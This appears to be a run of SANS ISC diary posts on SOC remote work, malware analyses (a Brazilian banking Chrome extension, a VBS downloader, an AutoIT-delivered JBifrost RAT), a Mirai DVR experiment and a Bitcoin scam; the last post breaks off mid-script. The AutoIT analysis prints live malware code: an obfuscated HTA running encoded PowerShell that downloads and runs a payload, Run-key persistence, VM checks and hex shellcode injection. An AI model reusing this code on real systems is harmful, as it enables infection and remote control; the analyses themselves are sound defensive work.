As a SOC manager, you may need to start thinking about remote works for several reasons: Office move, larger talent pool, disaster recovery plan. Some scenarios may be short term to midterm solutions, here are some initial concerns I came up with when thinking about the problem.

 

Concern 1: Speed of responding

You IR team has to be able to complete its mission of detection and responding so will you be able to be at least able to this task.  A lot of this depends on the toolset you have deployed. If you are using a tool like GRR or others that have a web interface, it makes a response on a more limited system easier. If your typical analysis starts with physically going to someone’s desktop without having an agent pre-deployed, then you will need to have someone be your “Hands” and get the data to a place where it can be analyzed.

 

Concern 2:Physical security at home office

A responders house typically doesn’t meet all the needs of many compliance/corporate policies.  You could require anyone that works remotely have to meet these requirements, or you will have to provide an option to remote into hardware that will not allow data to be copied out.  Virtual desktops or hardware desktops that are setting in the data center might make more since.  Having a server VM with the SANS SIFT might be a viable options to perform most of the analysis.

 

Concern 3: Secure access

SOCs typically have a very stringent access, so you need to make that you have appropriate controls. You may need to require individuals get a static IP from their ISP.  Obviously, multi-factor into the environment is a must.  

 

Concern 4: Collaboration and Mentoring

If your team will be remote for a short time, them building a strong comradery remotely is not a big deal, but if it permanent this can be a challenge.  Having a short dedicated meeting in the morning to discuss topics will help.  Training up IR staff is a little harder, have dedicated time where you have the analysist share their desktop and walk through the current incident they are working.

 

What concerns do you have and how have you addressed them?

 

 

 

--

Tom Webb

1. Introduction

It seems that Google Chrome extensions have become quite the tool for banking malware fraudsters. Two weeks ago, an offender phoned a victim and asked him to install a supposedly new bank security module that, instead, was a malicious extension hosted at the Google Chrome app store aimed to steal victim’s banking credentials [1]. This week I received a report about a targeted email phishing campaign against another company with a suspicious attachment. The attachments, after the analysis detailed in today’s diary, revealed itself to be another Google Chrome extension prepared to steal banking credentials, credit card, CVV numbers and fraud “compensation tickets” (a popular and particular Brazilian payment method; we call it “boleto”) to divert payments.

To increase the success rate and entice the victim’s attention to the message, scammers used a previously hijacked company email account to threaten employees with a fake layoff list attached to the message in a “zip” file that contained the first part of the malware. I named it IDKEY due to the name of the extension it deploys.

2. Threat Analysis

After analyzing many different malware parts and lots of obfuscated code, it was possible to understand the threat’s flow, since the phishing e-mail to the malicious actions, as seen in Figure 1. A textual description can be seen below:

• The e-mail attachment “zip” file contains a “.vbs” obfuscated script that, once executed, collects system information and send to a C&C server;
• Based on the received information, the C&C server decides whether the victim machine is a virtual machine (VM). If so, returns an URL to a non-malicious JPEG file. Otherwise, returns an URL to the second part of the malware;
• The second file, supposedly another “zip”, is, in fact, an obfuscated VBE script, that is downloaded and executed;
• The VBE script makes additional system checks and downloads a “zip” file (a real one this time) which contains a “Chrome” directory and a DLL;
• The DLL is deployed and configured to load during user login;
• The Google Chrome Extension is programmatically loaded into Google Chrome using the parameter “--load-extension”;
• The malicious extensions, called IDKEY STOR (very suggestive name in English) starts to monitor all visited websites to identify sensitive information. When it matches specific strings, the fraud begins;
• Credentials and credit card numbers are snatched and sent to the C&C server;
• When the victim generates a compensation ticket (the “boleto” we talked earlier) which has a barcode, the malware intercepts the page loading, communicates with C&C and asks for a fraudulent barcode number. It then communicates with an open API on another financial institution in Brazil and has it generate a barcode image and overwrites the original one. As result, the payment will be diverted to an account chosen by fraudsters.

Figure 1 – IDKEY Malware Analysis

3. Sandbox detection

One of the first malware actions done by the VBS attached to the phishing e-mail is collecting a bunch of machine information and sending it to the C&C server, as shown in Figures 2 and 3.

Figure 2 – Machine information collection

 

Figure 3 – Machine information being posted to the C&C server

The result for this HTTP Post request was the URL “hxxp://cdn.ahnegao.com.br/2017/07/casa.jpg” which points to a regular JPEG file – a clear strategy to mislead sandboxes. To bypass this control, it was enough to replace “VMWare” terms in the request to something else, as shown in Figure 4. This time, C&C returned us a URL to the next piece of malware.

Figure 4 – Bypassing sandbox detection

4. JavaScript [de]obfuscation

Another part of the malware that caught my attention was how the Google Chrome Extension JavaScript code was obfuscated. It uses an array of strings in hexadecimal followed by a function that reorders the array. The array is then used all over the code, as seen in Figure 5. I saw this approach other times, but now I had to decode the source before advancing. It was not possible to read it otherwise.

Figure 5 – Malicious Google Extension snippet

Using the “nicefier” service JSNice [2], it was possible to better understand the source, as seen in Figure 6.

Figure 6 – After JSNice deobfuscation

Alas, reading the code is still far from easy because of the array reference approach used. To overcome this, it was necessary to create a “decode” function to map and replace all ‘array[“position”]’ references (like ‘_0xb33d[“0x0”]’), to their respective array position, as seen in Figure 7.

Figure 7 – JavaScript decoder

Loading this code, we had the decoded JavaScript printed to the console, as seen in Figure 8; it was finally possible to understand the malicious intentions prepared and described in this article.

Figure 8 – Source decoded

5. Final words

While it is extremely necessary for developers, the option of manually loading Google Chrome extensions may pose a risk to the regular user who should be aware of browser warnings about extensions in developer mode, as in Figure 9. And again [1], in my opinion, Chrome should restrict extensions access to sensitive form fields, like passwords, unless it is explicitly consented by the user.

Should Google Chrome team be more explicit about the dangers posed by programmatically loaded extensions in their warning?

Figure 9 – Google Chrome Extension in developer mode warning

 

6. IOCs

 

Files

Malicious Google Chrome Extension Files

MD5 (1.js) = 1d91e021e5989029ff0ad6dd595c7eb1
MD5 (2.js) = d996bdc411c936ac5581386506e79ff4
MD5 (3.js) = 59352276c38d85835b61e933da8de17b
MD5 (manifest.json) = c6157953f44bba6907f4827a1b3b4d0a

Other files

MD5 (myinside.dll) = 574322a51aee572f60f2d87722d75056
MD5 (uia.zip) = bae703565b4274ca507e81d3b623c808

Network

hxxp://cdn.ahnegao.com.br/2017/07/casa.jpg?1491404962
hxxp://storage.googleapis.com/fogoreal/uia.zip                       
hxxp://storate.googleapis.com/fogoreal/top019.zip                       
hxxps://tofindanotherrace.com/
hxxp://insidevx.net/log5.php?logins=did&s=ch
hxxp://insidevx.net/log5.php?logins=did&s=b

File System

%userprofile%\appdata\roaming\microsoft\windows\start menu\programs\startup\<randomname>.vbs
%userprofile%\myinside.dll
%userprofile%\ext\[Chrome|1.9.6]

Google Chrome

IDKEY STOR malicious extension deployed

7. References

[1] https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/
[2] http://jsnice.org/

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Last week, the fact that someone leaked 1700 or so IP addresses with default username/password caused some people to get excited about the issue of default telnet credentials again. Ever since the "Mirai" outbreak, we do see a pretty constant stream of requests for port 23 (and to some extent 2323 as well as 22) searching for systems with default credentials. When Mirai came out, I did a quick experiment testing how long it would take to have a security camera DVR with default credentials infected. So I decided to repeat this experiment, to see if anything changed. Using an actual vulnerable DVR vs. a honeypot will be more realistic and provide better results.

I used an "Anran" branded DVR with default configuration. This particular model accepts "root" logins with the well-known password "xc3511". Many of the worms infecting these devices will disable telnet after a successful infection, to prevent others from exploiting the weak credentials. So to allow for continuous infections, I connected my DVR to a remote controlled power outlet, and power cycled it once every 5 minutes. I logged all traffic to and from the DVR. Here is a sketch of the setup:

So every 5 minutes, the DVR rebooted and was ready for new connections. A reboot takes a bit less than 30 seconds. Traffic from the DVR outbound was blocked by the firewall to prevent it from infecting other systems. I kept this running for a bit less than two days. Here are some of the basic statistics from the experiment:

Start Time	Aug 24th 11:53 am
End Time	Aug 26th 9:35 am
Data Collected	3,098 MBytes, 36 Million Packets
Time Active	45 hrs 42 min
Total connections to the DVR	10,143
Total login attempts using the "xc3511" password	1254 Different IPs (every 2 minutes)

So in short: Every 2 minutes the system was compromised by someone(thing) logging in using the correct credentials.

For the 1254 attacking IP addresses, Shodan had information for 592 of them. As expected, we do see our usual "suspects":

Model / HTTP Banner	Count
GoAhead-Webs	128
Dahua DVR	31
DD-WRT	21
micro-httpd	14
EnGenius Router	12

Notable manufacturers of the devices include TP-Link, AvTech, Synology, D-Link. In short, your usual "DO NOT CONNECT TO THE INTERNET" devices.

While I am calling the activity "Mirai," dozens of variants hit the DVR. The geographic distribution of these systems matches what we saw early on with Mira (only counting the hosts that had Shodan information):

 

So in short: 1,700 additional vulnerable systems will not matter. We do see a pretty steady set of 100,000-150,000 sources participating in telnet scans. This problem isn't going away anytime soon. If people haven't heard yet about vulnerable DVRs and default passwords, then they will not read this article either. Variants like "Brickerbot," which supposedly attempted to break vulnerable devices, are ineffective because most of these devices can not be "bricked" by overwriting a disk with "dd." They may become temporarily unresponsive but will be fine after a reboot. Many of these devices are buggy enough, where the owner is used to regular reboots, and that is probably the only maintenance the owner will perform on these devices.

(ping me if you want a copy of the full pcap. The device was connected to a normal small business cable modem connection with 5 IP addresses)

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
STI|Twitter|

Reader Chris submitted a suspicious attachment. It is a 7-Zip file.

As you probably know, I like to do static analysis without extracting malware to disk, but by piping it into a chain of tools.

This can be done with 7-Zip too. Here is the content of the file:

It contains a single VBScript file: IMG_0107.vbs.

I can look at the script by extracting it (command e) and writing the output to stdout (option -so). This way, I can read the script without writing it to disk:

Take a look at the last line in the screenshot: it's a simple obfuscation of the string .responseBody. This is a strong indication that this VBS script is a downloader.

When analyzing obfuscated source code like VBA and VBS, I like to grep for lines with a dot character (.), as this gives an overview of method calls:

Not only does this output clearly shows that this is a downloader that will write to disk and execute the payload, it also reveals URLs, a User Agent String and keywords separated with the string "Swing".

Let's deobfuscate the URLs first:

With "re-search.py -n str" I extract the strings:

Then I remove the double qoutes with sed:

And finally, I split the string with sed by replacing ^ with newline:

Unfortunately, the URLs were dead when I did the analysis.

I can extract the "keywords" with the same method:

From this we can deduce that the downloaded file is written to a temporary folder in file UUmDBYNd.exe.

Another method I like for quick analysis of obfuscated source code, is just to extract strings with my re-search.py tool:

 

Didier Stevens
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Here is another sample that hit my curiosity. As usual, the infection vector was an email which delivered some HTML code in an attached file called "PO_5634_780.docx.html” (SHA1:d2158494e1b9e0bd85e56e431cbbbba465064f5a). It has a very low VT score (3/56)[1] and contains a simple escaped Javascript code:

<script language=javascript>document.write(unescape('%3C%68%65%61%64%3E%0A%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D
%22%72%65%66%72%65%73%68%22%20%63%6F%6E%74%65%6E%74%3D%22%30%3B%20%0A%75%72%6C%3D%68%74%74%70%73%3A%2F%2F%31%66%69%63%68%69%65
%72%2E%63%6F%6D%2F%3F%64%6A%39%38%66%66%35%36%68%32%22%20%63%6F%6E%74%65%6E%74%3D%22%74%65%78%74%2F%68%74%6D%6C%3B%20%63%68%61
%72%73%65%74%3D%69%73%6F%2D%38%38%35%39%2D%31%22%3E%0A%3C%2F%68%65%61%64%3E%0A%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E%0A
%3C%2F%53%63%72%69%70%74%3E'))</script>

Here is the decoded version:

<head>
<meta http-equiv="refresh" content="0; 
url=hXXps://1fichier[.]com/?dj98ff56h2" content="text/html; charset=iso-8859-1">
</head>
</body>
</html>
</Script>

It downloads a second malicious file from 1fichier.com which is a French file sharing service. The link points to an HTA file "PO_5634_780.docx.hta” (SHA1:74e892a0bc54f604c4876331ec27f5bd90a21ead) that has also a very poor VT score (4/58)[2]:

<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<html>
<body>
<scRipT langUAGE="VbscRiPT">
dim     sEUDM   :       dIM     wPRjb   :       sET     sEUDM   =       CReaTeoBjEct    (       Chr(&H57) & ChrW(&H53) & StrReverse(ChrW(&H63)) & Chr(&H72) & StrReverse(ChrW(&H49)) & StrReverse(ChrW(&H70)) & Chr(&H54) & Chr(&H2E) & StrReverse(ChrW(&H73)) & StrReverse(Chr(&H48)) & Chr(&H65) & ChrW(&H4C) & Chr(&H4C)       )       :       wPRjb   =       "       pOwERshell.exe  -ExecutiONpoLICy        BypAss  -NoProfILe      -wINDOWsTyLE      hiDdEn  -EncodeDcOmmAnD CQBTAGUAdAAtAEMATwBuAHQAZQBuAFQACQAtAFYAQQBsAFUAZQAJACgATgBlAHcALQBvAGIASgBlAEMAdAAgAHMAeQBTAHQARQBtAC4AbgBlAHQALgBXAGUAYgBjAEwAaQBFAG4AVAApAC4ARABPAHcAbgBMAE8AYQBEAEQAYQBUAEEAKAAJAB0gaAB0AHQAcAA6AC8ALwBhAHMAZQBtAGUAZAAuAG8AcgBnAC4AbQB4AC8AdABlAHMAdAAvAG8AbwAuAGUAeABlAB0gCQApAAkALQBlAE4AQwBPAEQASQBOAGcACQBiAFkAVABlAAkALQBwAEEAVABoAAkAHSAkAGUATgB2ADoAQQBsAGwAdQBzAGUAUgBTAHAAUgBPAGYASQBMAEUAXAA1AGcAYgAyAHMAdAAuAGUAeABlAB0gCQA7AAkAcwBUAGEAcgBUAAkAHSAkAEUATgB2ADoAQQBsAGwAVQBTAEUAcgBzAHAAcgBvAEYASQBsAEUAXAA1AGcAYgAyAHMAdAAuAGUAeABlAB0g    "       :       sEUDM.run       CHR     (       34      )       &       sEUDM.eXpANDeNVIronmENTSTrinGS(   Chr(&H25) & ChrW(&H43) & StrReverse(ChrW(&H6F)) & Chr(&H6D) & Chr(&H53) & StrReverse(ChrW(&H50)) & ChrW(&H45) & StrReverse(Chr(&H43)) & StrReverse(Chr(&H25))   )       &       ChR     (       34)       &       cHr     (       34      )       &       ChrW(&H2F) & StrReverse(Chr(&H43)) & StrReverse(ChrW(&H20))     &       wPRjb   &       CHr     (       34      )       ,       0       :       sET     sEUDM   =noTHing
SeLF.CLOSE
</script>
</body>
</html>

We can see that PowerShell is invoked with some Base64 encoded stuff which returns (once decoded and beautified):

set-content-value(new-object system.net.webclient).downloaddata(hXXp://asemed.org[.]mx/test/oo.exe ) \
-encoding byte \
-path    $env:allusersprofile\5gb2st.exe
start     $env:allusersprofile\5gb2st.exe

The file “oo.exe” (SHA1:85a2eb0375474b8180953966dedc9e8d10e2d815) is unknown on VT. It's not only a PE file but a self-extracting RAR:

$ file oo.exe
oo.exe: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive

Even if they contain PE headers, such files can still be parsed by a classic RAR decompressor:

$ unrar t oo.exe

UNRAR 5.30 beta 2 freeware      Copyright (c) 1993-2015 Alexander Roshal

Testing archive oo.exe

Setup="yu.exe"L'histoire de la série, située sur les continents fictifs de Westeros et Essos à la fin d'un été d'une dizaine d'années,
entrelace plusieurs intrigues. La première intrigue suit l'histoire des membres de plusieurs familles nobles, dans une guerre civile
pour conquérir le Trône de Fer du Royaume des Sept Couronnes.
La deuxième intrigue couvre l'histoire de Jon Snow et de la future
menace croissante de l'hiver approchant, des créatures mythiques et
légendaires venues du Nord du Mur de Westeros. La troisième raconte la
démarche de Daenerys Targaryen au sud d'Essos, la dernière représentante en exil de la dynastie
déchue en vue de reprendre le Trône de Fer. A travers ces personnages « moralement ambigus », la série explore les sujets liés au pouvoir politique, à la hiérarchie sociale,
la religion, la guerre civile, la sexualité, et à la violence en général.
L'histoire de la série, située sur les continents fictifs de Westeros et Essos à la fin d'un été d'une dizaine d'années,
entrelace plusieurs intrigues. La première intrigue suit l'histoire des membres de plusieurs familles nobles, dans une guerre civile
pour conquérir le Trône de Fer du Royaume des Sept Couronnes.
La deuxième intrigue couvre l'histoire de Jon Snow et de la future
menace croissante de l'hiver approchant, des créatures mythiques et
légendaires venues du Nord du Mur de Westeros. La troisième raconte la
démarche de Daenerys Targaryen au sud d'Essos, la dernière représentante en exil de la dynastie
déchue en vue de reprendre le Trône de Fer. A travers ces personnages « moralement ambigus », la série explore les sujets liés au pouvoir politique, à la hiérarchie sociale,
la religion, la guerre civile, la sexualité, et à la violence en général.
Silent=1
Game of Thrones, également désignée par le titre français de l'œuvre romanesque dont
elle est adaptée, Le Trône de fer (A Song of Ice and Fire), est une série télévisée
américaine médiéval-fantastique1 créée par David Benioff et D. B. Weiss, diffusée
depuis le 17 avril 2011 sur HBO. Il s'agit de l'adaptation de la série de romans
écrits par George R. R. Martin depuis 1996, saga réputée pour son réalisme et par
ses nombreuses inspirations tirées d’événements, lieux et personnages historiques réels,
tels que la guerre des Deux-Roses, le mur d'Hadrien, Henri Tudor, etc2.
Update=Ux9XQ4
L'histoire de la série, située sur les continents fictifs de Westeros et Essos à la fin d'un été d'une dizaine d'années,
entrelace plusieurs intrigues. La première intrigue suit l'histoire des membres de plusieurs familles nobles, dans une guerre civile
pour conquérir le Trône de Fer du Royaume des Sept Couronnes.
La deuxième intrigue couvre l'histoire de Jon Snow et de la future
menace croissante de l'hiver approchant, des créatures mythiques et
légendaires venues du Nord du Mur de Westeros. La troisième raconte la
démarche de Daenerys Targaryen au sud d'Essos, la dernière représentante en exil de la dynastie
déchue en vue de reprendre le Trône de Fer. A travers ces personnages « moralement ambigus », la série explore les sujets liés au pouvoir politique, à la hiérarchie sociale,
la religion, la guerre civile, la sexualité, et à la violence en général.
Path=%temp%\56070745
Setup=mln.exe wla-kxl
Game of Thrones, également désignée par le titre français de l'œuvre romanesque dont
elle est adaptée, Le Trône de fer (A Song of Ice and Fire), est une série télévisée
américaine médiéval-fantastique1 créée par David Benioff et D. B. Weiss, diffusée
depuis le 17 avril 2011 sur HBO. Il s'agit de l'adaptation de la série de romans
écrits par George R. R. Martin depuis 1996, saga réputée pour son réalisme et par
ses nombreuses inspirations tirées d’événements, lieux et personnages historiques réels,
tels que la guerre des Deux-Roses, le mur d'Hadrien, Henri Tudor, etc2.

Testing     dqj.jpg                                                   OK
Testing     wla-kxl                                                   OK
Testing     mln.exe                                                   OK
Testing     oms.bmp                                                   OK
Testing     pma.mp4                                                   OK
Testing     ttd.icm                                                   OK
Testing     btm.ico                                                   OK
Testing     aht.ico                                                   OK
Testing     iua.xl                                                    OK
Testing     onm.docx                                                  OK
Testing     djv.bmp                                                   OK
Testing     rbr.docx                                                  OK
Testing     kqx.icm                                                   OK
Testing     ems.ico                                                   OK
Testing     vtt.ico                                                   OK
Testing     peq.dat                                                   OK
Testing     mlq.mp4                                                   OK
Testing     dsh.xl                                                    OK
Testing     xgr.ppt                                                   OK
Testing     uds.ico                                                   OK
Testing     xdo.mp3                                                   OK
Testing     mix.jpg                                                   OK
Testing     rkp.mp4                                                   OK
Testing     lks.bmp                                                   OK
Testing     xqw.mp3                                                   OK
Testing     hfd.dat                                                   OK
Testing     peg.ppt                                                   OK
Testing     msh.ico                                                   OK
Testing     qed.docx                                                  OK
Testing     bxw.xl                                                    OK
Testing     jhb.xl                                                    OK
Testing     vdb.ico                                                   OK
Testing     fts.bmp                                                   OK
Testing     wgf.pdf                                                   OK
Testing     rnj.mp3                                                   OK
Testing     ate.ico                                                   OK
Testing     qov.mp3                                                   OK
Testing     tcq.ico                                                   OK
Testing     bhf.jpg                                                   OK
Testing     kub.icm                                                   OK
Testing     oem.ppt                                                   OK
Testing     tpx.bmp                                                   OK
Testing     oxj.txt                                                   OK
Testing     jbf.jpg                                                   OK
Testing     cnl.ico                                                   OK
Testing     gfb.dat                                                   OK
Testing     bgg.pdf                                                   OK
Testing     ocl.jpg                                                   OK
Testing     jlh.txt                                                   OK
Testing     aus.docx                                                  OK
Testing     djj.dat                                                   OK
Testing     yu.exe                                                    OK
All OK

If the user extracts the RAR file on a Windows computer, plenty of different files will be displayed with popular extensions and icons. We will see later that some of them are fake, others are used by the malware:

To create an SFX file[3], you must provide a configuration file that will describe what to do when the content is unpacked. Amongst the French text, we can see what will be executed:

Setup=“yu.exe"
Silent=1
Update=Ux9XQ4
Path=%temp%\56070745
Setup=mln.exe wla-kxl

The PE file yu.exe (SHA1:a8e69984f32ede2afa0b7700ce0a7c772ad61de9) is another self-extracting RAR file. We can apply the same technique to collect information:

Setup="PO_5634_780.DOCX
Silent=1
Update=Um14Y
Path=%temp%\87745999
Setup=nut.exe bdl-wgi

Once executed, it spawns a Word process to display the document (not malicious) just to lure the victim:

In the background, it executes “nut.exe”. Note that mln.exe and nut.exe are the same binary (SHA1: cae4e8c730de5a01d30aabeb3e5cb2136090ed8d)[4]. they are the AutoIT script engine:

The AutoIT tool is first called with a file present in the RAR archive:

wla-kxl (SHA1:a84de9c8282518c3f12d48b3c6c9f662fee18965)
bdl-wgi (SHA1: ef061a0d5d5341a6f189c79456f71063fd64abb0)

There are used to generate a new AutoIT scripts stored in %TEMP%\<random_directory>. This  script is obfuscated but here are some interesting snippets of code:

It installs itself in 'Run' to get persistence:

If IsAdmin() Then
   RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", $576E7ACF370C475C1F7CFFC8287D4894, "REG_SZ", $9355FBBA246C8217C04EE3075C218909 & "\" & $1B6FE00D126CF844740F878410AD34F2 & " " & FileGetShortName(FileGetShortName($9355FBBA246C8217C04EE3075C218909 & "\" & $F2EE618C99E95AD0E9BB8DA5F76EE4DC)))
Else
   RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", $576E7ACF370C475C1F7CFFC8287D4894, "REG_SZ", $9355FBBA246C8217C04EE3075C218909 & "\" & $1B6FE00D126CF844740F878410AD34F2 & " " & FileGetShortName($9355FBBA246C8217C04EE3075C218909 & "\" & $F2EE618C99E95AD0E9BB8DA5F76EE4DC))
   RegWrite("HKCU64\Software\Microsoft\Windows\CurrentVersion\Run", $576E7ACF370C475C1F7CFFC8287D4894, "REG_SZ", $9355FBBA246C8217C04EE3075C218909 & "\" & $1B6FE00D126CF844740F878410AD34F2 & " " & FileGetShortName($9355FBBA246C8217C04EE3075C218909 & "\" & $F2EE618C99E95AD0E9BB8DA5F76EE4DC))
EndIf

Sandbox detection:

Func _S0xF2781DA828DC14A0F0FEF5D4A4426C98()
  $BFCF7AB65257B2F6022D9D4CE5EEC7AC = "VMwaretray.exe"
  $842A0608C474DE8920A18FD7706EC8CD = "Vbox.exe"
  If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") Then
    Exit
  EndIf
  If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then
    Exit
  EndIf
  If ProcessExists("VBoxTray.exe") Or ProcessExists("VBo" & "xServ" & "ice.exe") Or ProcessExists("vpcmap.exe") Or ProcessExists("vpcmap.exe") Then
    Exit
  EndIf
  If ProcessExists($BFCF7AB65257B2F6022D9D4CE5EEC7AC) Then
    Exit
  EndIf
  If ProcessExists($842A0608C474DE8920A18FD7706EC8CD) Then
    Exit
  EndIf
EndFunc

Inject a DLL and call a function:

Func _S0x5498F30D3302580A94D5B06B04E62B42($Binary, $comd,$inject)
  if $Binary = "" Then Exit
  $ASM = "0x60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F0300006A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F40000008B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E84F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
  Local $BufferASM = DllStructCreate("byte[" & BinaryLen($ASM) & "]")
  Local $binBuffer=DllStructCreate("byte[" & BinaryLen($Binary) & "]")
  DllStructSetData($BufferASM, 1, $ASM)
  DllStructSetData($binBuffer, 1, $Binary)
  Local $Ret = DllCall("user32.dll", "int", "CallWindowProcW", "ptr", DllStructGetPtr($BufferASM), "wstr", $inject, "ptr", DllStructGetPtr($binBuffer), "int", 0, "int", 0)
EndFunc

Here is an overview of infection process:

Based on the captured network traffic, it installs a JBifrost RAT[5]. The use of AutoIT to perform malicious activities is not brand new[6] but in this case, we are facing multiple (simple) techniques used to deliver the malware and most files are not detected by many antivirus engines. Do we have to consider AutoIT as a dangerous tool? It depends on your environment: if you don't use it to automate tasks on your network, it must be banned and the SHA1 hash cae4e8c730de5a01d30aabeb3e5cb2136090ed8d can be considered as an interesting IOC to keep an eye on!

[1] https://www.virustotal.com/#/file/fad17915219a23a842fda9e205d86859232479d673932f0ce910f8cb7bbc80dd/detection
[2] https://www.virustotal.com/#/file/531e2f2438a9ff58a1f3ff5abeac9457ab9884997589f06a6febd4b58b384a03/detection
[3] http://www.msfn.org/board/topic/34343-winrar-sfx-commands/
[4] https://www.virustotal.com/#/file/fb73a819b37523126c7708a1d06f3b8825fa60c926154ab2d511ba668f49dc4b/detection
[5] https://blog.fortinet.com/2016/08/16/jbifrost-yet-another-incarnation-of-the-adwind-rat
[6] https://www.carbonblack.com/2017/04/05/latest-malware-uses-compiled-autoit-script-masquerade-photoshop-cs6-installer/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Since the invention of the Internet (or e-mail) we have been seeing various scams that try to entice the user to transfer his hard-earned money to a scammer’s account.

There are many, many forms of the old fashioned advance-fee (419) scam where the victim is usually asked to transfer money to attacker’s account for whatever purpose we can think of: it can be a dead Prince’s legacy or money that a stranger in distress needs. 

Of course, with all crypto currencies flying around, the bad guys saw an opportunity as well, with the major advantage being difficult traceability of crypto currency transactions.

Couple of days ago, one of our readers, Jason Killam sent in an example of a scam (although, a bit poorly written) but where the attacker was asking for few USD in Bitcoins – the e-mail is shown below:

Hello, my name is Arseny Golorich, I live in the country Belarus, Minsk, we are a rather poor country. On July 26, the BTC-E Crypto-Currency Exchange closed, and I can not get my money back. It was closed by the FBI and illegally appropriated all of our funds. There were my last 2 Bitcoins on which I earned and traded on the stock exchange. Now I am without means for existence, I am starving, I ask to help, who can. On the Internet, I found the emails of the wealthy people of America and decided to write to you, for you a few $ are worthless, but they will help me a lot to start earning again on the exchange. Thank you so much for reading!

My Bitcoin Wallet - 1MY1Fso8SW9XTPCca7oLEBUWFJRZWNK9Qs

For the help you can use absolutely safe resources:
https://localbitcoins.com/
https://www.coinbase.com/

As we can see, this is just a poor attempt where the attacker is practically begging for Bitcoins. He was, though, nice enough to provide the victim with links on purchasing Bitcoins.

We can search for his wallet at https://blockchain.info/address/1MY1Fso8SW9XTPCca7oLEBUWFJRZWNK9Qs and it appears that at least this attempt was completely unsuccessful as there were no transaction of any Bitcoins to this account.

However, who knows how successful (or not), this particular attacker is – for him, the nice thing about Bitcoins is that he can create a new wallet for every victim, so it becomes much more difficult not only to trace the transactions but also to see what his total gain is, especially if he decides further down the line to use notorious mixing services.

Bitcoin mixing services are anonymous services that allow anyone to send Bitcoins to them. For a small fee, such services collect multiple transactions and then mix them and divide into smaller/different outgoing transactions to new wallets. This makes tracing very difficult (and, depending on the mixing service maybe impossible) and as such is the perfect way of laundering Bitcoins.

A chicken and egg problem is, though, that the attacker must really trust the mixing service that it will do what it claims to be doing – because once the Bitcoins have been sent, the attacker could also be a victim of the mixing service operator, in case he/she decides to simply keep Bitcoins.

In any case, one thing I am sure is that various scammers will happily embrace crypto currencies, in case they have not done so already.

Have you experienced similar scams or attacks that were new or you found them interesting? Let us know!

--
Bojan
@bojanz
INFIGO IS

Yesterday, I found an interesting sample that I started to analyze… It reached my spam trap attached to an email in Portuguese with the subject: "Venho por meio desta solicitar orçamento dos produtos” ("I hereby request the products budget”). There was one attached ZIP archive: PanilhaOrcamento.zip (SHA1: 3c159f65ba88bb208df30822d2a88b6531e4d0a7) with a VT score of 0/58[1].

Inside the archive, a simple BAT file: "Panilha Orcamento Contabil 32f5.bat" (SHA1: c191821ddb1db46349afdb08789312ce418696d1) with was unknown on VT. The content is simple: it generates a .wsf file that is spawned through Powershell:

@echo off
set bmh="%HOMEPATH%\btmkfxbumrria.wsf"
